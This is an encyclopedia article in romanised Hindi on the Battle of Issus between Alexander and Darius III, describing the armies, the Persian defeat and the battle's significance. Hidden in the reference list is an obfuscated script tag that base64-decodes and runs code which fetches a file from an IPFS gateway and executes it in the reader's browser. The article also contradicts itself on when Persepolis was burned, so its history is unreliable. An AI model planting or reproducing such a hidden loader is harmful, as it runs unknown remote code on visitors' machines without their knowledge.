इस्सस का युद्ध
issas ka yuddh eeran ke dara tritiy aur sikandar ke bich l da gaya tha. yah yuddh eeran ke viruddh sikandar mahanh ka pratham abhiyan tha. issas ke yuddh mean sikandar ki vijayi huee thi. yuddh mean eeran ki rajadhani parsipolis ko jalakar sikandar ne etheans ka pratishodh liya. is yuddh mean eeran ke dara ke pas bahut b di sena thi, phir bhi sikandar ke sainy sanchalan aur usaki ranakaushalata ke age dara ko parajay ka samana karana p da.[1]
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sainy bal
siriya mean farat nadi se tho di door par miriyaandras ke pas alegzaandriya tha. yahian par uttar ki or issas ke maidan mean dara tritiy ki phaujean kh di thian aur dakkhin ki or apane risaloan aur paidaloan ke sath makadooniya ka raja sikandar data hua tha. dara ki senaean deli ki dhara ke donoan or chalakar grik sena par hamale ke lie badhian. idhar sikandar ne dara ki haraval par hamala kiya. haraval toot gee. eerani sena b di sankhya mean mari gee. diyodoras aur plootark ne yah sankhya ek lakh, das hazar bataee hai. mrit makadooniyaee sainikoan ki sankhya sadhe char sau hi bataee jati hai, jise sahian nahian mana ja sakata. issas ka yuddh 333 ee. poo. ke aktoobar mean hua tha.
sikandar ki vijay
'issas ka yuddh' eeran ke viruddh sikandar ka yah pahala abhiyan tha. usaka aantim abhiyan 331 ee. poo. mean hua tha. eeran ke dara ke poorvajoan ne kabhi gris par chadhaee kar etheans ko jala dala tha aur eeran ki vijay karate samay sikandar is bat ko bhoola nahian tha ki use eeran aur usake samrath ke pratinidhi dara tritiy se badala lena hai. eeran ki rajadhani parsipolis ko jalakar usane etheans ka badala liya, par vah arabala ki l daee ke bad hua, jo bakhtri par usake hamale ke pahale eeran ke viruddh aantim abhiyan tha.[1]
'issas ka yuddh' eeran ke vidhvans ka aranbh tha, jisake parinam mean siriya se hindukush aur amoo dariya tak eshiya ki jamin sikandar ke adhikar mean a gee. issas ke yuddh ne pramanit kar diya tha ki shatru ki sena ki sankhya chahe jitani b di ho, vijay sankhya se nahian, sainy sanchalan ke kaushal se hoti hai. dara ke pas bhale hi sainy sankhya zyada thi, kiantu sikandar ke pas ranakaushal aur behatar sainy sanchalan tha, jisake bal par usane issas ke yuddh mean vijay paee.[2]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 issas ka yuddh (hindi) bharatakhoj. abhigaman tithi: 11 julaee, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ auankaranath upadhyay, hindi vishvakosh, khand 2, prishth sankhya 20
sanbandhit lekh
varnamala kramanusar lekh khoj
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